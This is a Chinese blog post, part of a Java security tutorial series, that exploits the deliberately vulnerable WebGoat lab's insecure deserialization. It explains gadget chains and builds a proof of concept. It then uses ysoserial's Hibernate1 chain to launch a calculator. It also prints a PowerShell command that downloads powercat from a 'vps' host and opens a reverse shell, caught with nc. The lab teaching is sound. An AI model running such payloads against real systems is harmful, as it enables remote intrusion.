申明:本公众号所有文章仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关
0x00 前言
JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
本文为JAVA安全系列文章第二篇。
0x01 环境搭建
这里使用webgoat靶场的不安全的反序列化这一关。
项目地址:https://github.com/WebGoat/WebGoat
由于我java版本问题,这里我采用8.1.0版,下载好webgoat,然后java -jar webgoat.jar就可以启动靶场了,浏览器访问:
http://127.0.0.1:8080/WebGoat/login
首次登录自己注册个账号,注册过就直接账密登录
登录后,我们来看Insecure Deserialization(不安全的反序列化)这课就可以了:
0x02 基础理论学习
前面的1,2,3,4是介绍,通过介绍我们可以知道:
1.不同语言的反序列化利用略有不同,但关键概念都适用。目前已知的受反序列化影响的编程语言有:php,python,ruby,java,c,c++
2.序列化是将某些对象转换为之后可以恢复(为对象)的数据格式的过程。
序列化对象目的是将它们保存到存储器中,或者作为通信的一部分发送。
反序列化则是相反过程,是从某种格式获取结构化数据并将其重新构建为对象的过程。
现在序列化数据最流行的数据格式是JSON,以前是XML。
3.许多编程语言都提供了序列化对象的原生功能。
这些原生格式通常比JSON或XML提供更多的特性,包括可自定义序列化过程。
但当操作不受信任的数据时,原生反序列化机制的特性可能会被用于恶意效果。
针对反序列化的攻击被发现有允许拒绝服务、访问控制和远程代码执行攻击。
4.序列化的是数据,不是代码。
反序列化会创建一个新对象并从字节流复制所有数据,以便获得与被序列化对象相同的对象。
我们在网上看一些文章或者在一些安全群里看别人讨论某个反序列化漏洞利用时,都会谈到一个词:gadget(gadgets)。
gadget意为小工具,小配件,小装置。webgoat里对它是这样描述的:
在反序列化时发现一个gadget本身运行危险的操作是很奇怪的(但也可能发生)。
但是,要找到在反序列化时在其他gadget上运行操作的gadget要容易得多,
而第二个gadget在第三个gadget上运行更多的操作,以此类推,直到触发真正危险的操作。
可以在反序列化过程中使用的一组gadget被称为“Gadget Chain”(小工具链)。
寻找gadget来构建Gadgets Chain是安全研究人员的一个活跃话题。
这种研究通常需要花费大量的时间阅读代码。
按照我的理解,可把gadget理解为可被恶意利用的某个类或某个类里可被恶意利用的方法。还记得我在第一篇时提到的反序列化产生漏洞的四种形式么?
这里的第一种形式就是webgoat里描述的:一个gadget本身运行危险的操作
第二三种形式就是描述中表达的层层套娃,直到最后触发真正危险的操作。
而java安全研究人员的工作就是通过花费大量时间阅读代码,把这样的一些类或方法串起来,组成Gadgets Chain,可理解为利用链。
看到这里,各位读者是否对反序列化链有了初步认识呢?
0x03 代码分析
学完了理论,我们来到5,就是要过的关卡。
显然,这是要我们提交一个经base64编码后的序列化数据,使得服务端将其进行反序列化后执行使页面延迟5秒返回的操作。此处,由于不知道类名,不知道对象构造方法、相关参数,故此处需要对源代码进行审计。
先将webgoat.jar包进行解压,然后将解压后的文件放到在上一篇中创建的java项目的目录里,打开IDEA:
Insecure Deserialization的源代码在BOOT-INF/lib/insecure-deserialization.jar里,我们通过右键Add as Library就可以解压jar包:
然后就可以看到里面的源代码了:
通过大致查看org.owasp.webgoat.deserialization这个包里的三个类文件代码,我们知道关键代码在InsecureDeserializationTask类里,下面是代码部分:
关键代码是这部分:
意思是以POST方式请求/InsecureDeserialization/task这个路径,提交参数token,服务端接收后进行base64解码,再使用readObject() 方法进行反序列化,且要求被反序列化的对象应为VulnerableTaskHolder类的实例对象,若为其他则会返回失败信息。
代码的下面部分就是异常处理了,最后面是根据时间差在3000~7000ms之间返回成功信息。
那我们就去看看VulnerableTaskHolder这个类里的代码,通过ctrl + B进入这个类,这个类在org.dummy.insecure.framework包里,下面是代码:
我们可以看到这里重写了readObject()方法:
对关键部分进行分析可知当对象属性taskAction满足以sleep或ping开头且长度小于22时,就会将taskAction中的内容以系统命令来执行。(注:taskAction为字符串类型)
0x04 POC编写
经过上面的分析,gadget就是VulnerableTaskHolder类,我们来制造payload:
首先创建一个VulnerableTaskHolder对象,将其taskAction属性值设为sleep 5,然后序列化再进行base64编码。而SerializationHelper这个类就是来帮助我们初学者来写代码产生我们的payload的,会用到里面的将对象序列化并base64那段代码。
POC代码如下:
注意:这里的包名要和webgoat里的一样,否则会报serialization ID不匹配的问题。因为序列化时对被序列化对象对应的类存储的是类路径,反序列化是按照路径去读取这个类的信息来构建对象(涉及反射机制),假如包名不一样,那么服务器端找不到对应的类,也就无法完成反序列化了。
我们运行生成payload:
拷贝到框里进行提交,通关:
0x05 利用ysoserial工具助力getshell
1.ysoserial工具介绍
通关只是游戏,按照代码的逻辑我们只能让页面延迟返回,不能弹计算器,不能拿shell,没啥用。我们能否脱离游戏通关的代码逻辑来寻找gadgets chain来做利用呢?答案是可以的。这就引出反序列化利用工具ysoserial了。
项目地址:https://github.com/frohoff/ysoserial
这是一个反序列化的payload生成工具,内置了常见java应用中的gadgets chain”的集合,这些库可以在适当的条件下利用 Java 应用程序对对象执行不安全的反序列化。
我们只需指定命令并将其包装在指定的gadgets chain中,然后将这些对象序列化为 stdout。当类路径上具有所需gadget的应用程序以不安全的方式反序列化此数据时,将自动调用链并导致在应用程序主机上执行命令。
我们来看看它包含了哪些gadgets chain:
有很多,我们后面会分析常见的那些gadgets chain(反序列化链)。我们这里就来体验下这个工具的强大之处了。
对于ysoserial工具的使用可以参考这篇文章:
https://www.anquanke.com/post/id/229108
2.弹计算器
我们看下webgoat源代码导入的组件和包中,有无ysoserial包含的gadget。
我们看到了似乎有Hibernate能符合我们的条件
我们来试一下,hibernate1和hibernate2哪个可以。首先hibernate1,我们将hibernate-core-5.4.9.Final.jar包拷贝到与ysoserial同目录,然后执行:
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-all.jar ysoserial.GeneratePayload Hibernate1 calc > poc.bin
使用python3写一个脚本,进行base64编码:
执行,得到很长一串序列化数据:
将数据进行提交,立刻弹了计算器:
Hibernate2试了,弹不出来。
3.反弹shell
既然能弹计算器,那必定也能弹shell。windows环境怎么弹shell呢?这里使用Powershell,可以用powercat和nishang,项目地址:
https://github.com/besimorhino/powercat
https://github.com/samratashok/nishang
这两个使用方式差不多,具体使用可以参考这篇文章:
https://blog.csdn.net/hackzkaq/article/details/123049915
这里我就使用powercat,采取的方式是将powercat脚本放到我的vps,然后调用本地的powershell去下载执行。命令:
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://vps/powercat.ps1'); powercat -c vps -p 8088 -e cmd
生成payload并编码为base64:
vps上使用 nc监听,将序列化数据提交后,见证奇迹:
0x06 总结
本文中,我们通过webgoat靶场做了代码分析-->POC编写-->白盒寻找gadgets chain-->利用反序列化getshell,这样的一系列流程。麻雀虽小,五脏俱全,重在体验实战。下一篇我们将学习java反射机制,通过这两次的学习体会到了反射的重要性,先打牢基础,后面再进行常见反序列化链的分析。
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):JAVA安全|基础篇:实战java原生反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论